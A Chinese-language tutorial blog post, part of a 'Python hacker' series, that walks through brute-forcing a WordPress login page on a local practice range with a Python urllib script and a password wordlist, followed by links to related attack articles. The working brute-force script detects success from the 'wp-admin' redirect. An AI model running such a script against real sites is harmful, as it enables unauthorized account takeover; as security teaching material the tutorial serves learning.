Python黑客攻防(八)密码破解攻击
前言
进行黑客攻击通常需要做大量重复性工作。如果黑客直接通过浏览器攻击Web网站,就要不断手动修改输入值,并反复点击。但如果可以在应用程序内部访问Web网站并接收结果值,那么只需要使用简单的几行代码就能成功攻破目标网站。本篇文章讲解对网站的登入密码进行暴力破解。
准备
python环境
靶场->Python黑客攻防(四)搭建测试环境
教程
1.先开启靶场,浏览器输入http://127.0.0.1/wp-login.php,该页面可以输入用户名和密码,是我们的目标页面。
2.了解python是如何调用web页面的。见下方代码及分析。
import urllib.requesturl = " http://127.0.0.1/wp-login.php"
values = {'log': 'python', 'pwd': 'python1'}
headers = {'User-Agent': 'Mozilla/4.0(compatible;MIS 5.5; Windows NT)'}
data = urllib.parse.urlencode(values).encode(encoding='utf-8')
request = urllib.request.Request(url, data, headers) #创建Request对象
response = urllib.request.urlopen(request) #调用Web页面使用Request对象返回结果值print("#UTL:%s"%response.geturl()) # 输出URL
print("#CODE:%s"%response.getcode()) #输出状态码
print("#INFO:%s"%response.info())
print("#DATA:%s"%response.read())
分析:
破解密码是我们的目的,这里我们假设已经知道用户名为python,键‘pwd’对应的值就是密码。这是我们要传送的值。我们先设置错误的密码,目的是查看返回给我们的数据。第五行headers是设置HTTP头值,第六行是将传送值设置为HTTP协议形式。第七行是创建Request对象,若只简单调用URL,放入URL参数即可。使用的是POST方法传递值或需要设置头部分值时,要分别将相应数据作为参数传入,运行结果见下图。
3.由上图的错误密码运行结果可知返回的URL是我们原始的URL,现在我们也点鼠标右键查看源代码。HTML源代码含有多种标记,其中,需要掌握用于接收用户输人并传递给Web服务器的标记与字段。首先,标记的action字段用于指定接收用户输人的页面。标记的name字段用于设置保存用户输人值的变量名。从HTML源代码可知,用户名保存于log变量,密码保存于pwd变量,然后传送给Web服务器。
现在我们尝试传入的是正确的密码,查看一下返回的数据。由上图可以看到返回的URL与上次的不同,并且URL中wp-admin可以很明显的区别于刚才的URL,这个我们后面可以利用。
4.我们用密码字典来进行暴破,密码字典是很关键的一部分,我们可以通过对网站的信息收集,然后在线生成密码字典,提高破解速度。也可以下载专门的字典文件,这里我们在线生成一个密码字典,如下图,输入信息生成密码,然后创建文本,将密码粘贴进去。5.python密码破解
# -*- coding: gbk -*-
import urllib.requesturl = " http://127.0.0.1/wp-login.php"
user_login = "python"wordlist = open(r"C:\Users\ASUS\Desktop\word.txt", "r",encoding='UTF-8')
passwords = wordlist.readlines()
for password in passwords:password = password.strip()values = {'log': user_login, 'pwd': password}data = urllib.parse.urlencode(values).encode(encoding='utf-8')request = urllib.request.Request(url, data)response = urllib.request.urlopen(request)try:idx = response.geturl().index('wp-admin')except:idx = 0if (idx>0):print("-"*10+"破解成功!密码为:"+password+"-"*10)breakelse:print("-"*10+"破解中.....正在尝试:"+password+"-"*10)wordlist.close()
这代码是在上一个代码的基础上添加了循环,读取字典及登录检测,登录检测就是第18行的对返回的URL进行是否包含管理页面地址的子字符串检测,以此来判断是否登录成功,现在运行代码,破解成功。觉得不错可以关注微信公众号:黑客帮。
Python黑客攻防(八)密码破解攻击相关推荐
- python黑客攻防入门下载-Python键盘钩取的自我理解(来源于《Python黑客攻防入门》)...
最近从图书馆借到一本书<Python黑客攻防入门>,感觉里面的提供的代码模块对自己深有感触(主要我超菜),所以打算尝试写点小分析,希望大家能谅解本人的语言组织与技术分析. 希望有人来讨论. ...
- Python黑客攻防(十四)暴力破解FTP口令
注:本篇文章为个人学习笔记仅供学习交流,请勿用于非法用途. 参考:<Python绝技:运用Python成为顶级黑客>. 前言: 从安全方面考虑,网站允许匿名FTP访问似乎是很疯狂的做法.然 ...
- Python黑客入门:暴力破解zip,零基础也可以学会!
照顾没有接触过Python编程的同学,行文可能会有些啰嗦. 废话少说,我们进入正题. 2.1准备基本材料 在/home/ziptest/目录下,我创建了两个文件,一个test.zip,是一个设置了密码 ...
- Python黑客入门:暴力破解zip,零基础也可以学会
照顾没有接触过Python编程的同学,行文可能会有些啰嗦. 废话少说,我们进入正题. 2.1 准备基本材料 在/home/ziptest/目录下,我创建了两个文件,一个test.zip,是一个设置了密 ...
- python 黑客书籍 ——扫描+暴力破解
https://legacy.gitbook.com/book/germey/net-security/details 网络安全 介绍 构建一个端口扫描器 利用Pexpect模拟SSH连接 利用Pxs ...
- ARP渗透与攻防(八)之ARP攻击防御
系列文章 ARP渗透与攻防(一)之ARP原理 ARP渗透与攻防(二)之断网攻击 ARP渗透与攻防(三)之流量分析 ARP渗透与攻防(四)之WireShark截获用户数据 ARP渗透与攻防(五)之Ett ...
- Python脚本,网站暴力破解攻击
注意:此脚本可能会违反网站的使用条款和法律法规.在使用此脚本之前,请确保您有权进行此类攻击,并且仅攻击您有权攻击的目标. 主要思路如下: build_wordlist 函数:从给定的单词列表文件中构建 ...
- Python黑客攻防入门
点击打开链接 阿里云学生机1年114元限时活动(24岁以下都可以购买)https://promotion.aliyun.com/ntms/act/campus2018.html?userCode=a6 ...
- Python黑客攻防(一)屏幕窃取
注:本篇文章仅供学习交流,请勿用于非法用途 ,否则后果自负.首发于微信公众号:黑客帮,大神勿喷. 原理:使用SMTP协议及截图函数完成屏幕截取并自动发送到指定邮箱. 步骤: 1.邮箱开启SMTP服务, ...
最新文章
- ISA2006标准版配置导入企业版
- 这100道Linux常见面试题,看看你会多少?
- ReactDom.render和React.render的区别
- LeetCode 1912. 设计电影租借系统(map+set)
- Windows服务创建及安装
- jvm调优工具_JVM性能调优监控工具jps、jstack、jmap、jhat、jstat、hprof使用
- USACO Section 1.3 Prime Cryptarithm 解题报告
- excel文件撤销工作表保护
- 网页设计配色应用——色彩的调和
- python实现搜索功能_python实现搜索框关键词采集功能
- 【Unity】脚本实现动态模型切割
- 初识AMD型号CPU
- element级联选择器城市3级联动三级联动json数据
- Python爬虫 解决异步加载问题--以爬取PEXELS图片为例
- 十分钟文档化你的C++代码——DoxyGen
- 推荐一个好用的设计师导航网址
- 支持华为鸿蒙2.0的手机型号是,华为鸿蒙2.0系统支持的手机型号 华为鸿蒙2.0系统详解...
- 电机与matlab突然,电机与MATLAB(第2版)简介,目录书摘
- 成功博士的三大要素(翻译)——3 qualities of successful Ph.D. students: Perseverance, tenacity and cogency
- Common Lisp Style Guide - Ariel Networks Labs
热门文章
- freepascal linux 界面,FreePascal中的编译器选项
- 补天计划--第一天--OS简述
- Markdown学习摘要
- Java时间戳转换为日期格式
- 676_AUTOSAR_TR_Methodology_文档阅读3
- 传导 耦合RF 发射功率,灵敏度 国标
- 企业营销培训讲座在线观看目录
- [亲测可行]Ubuntu16.04+opencv3.4+opencv_contrib+cuda9.0安装
- 基于Multisim的LC正弦波振荡器的设计与仿真
- HR警告:应届生求职简历中的实习经历千万别水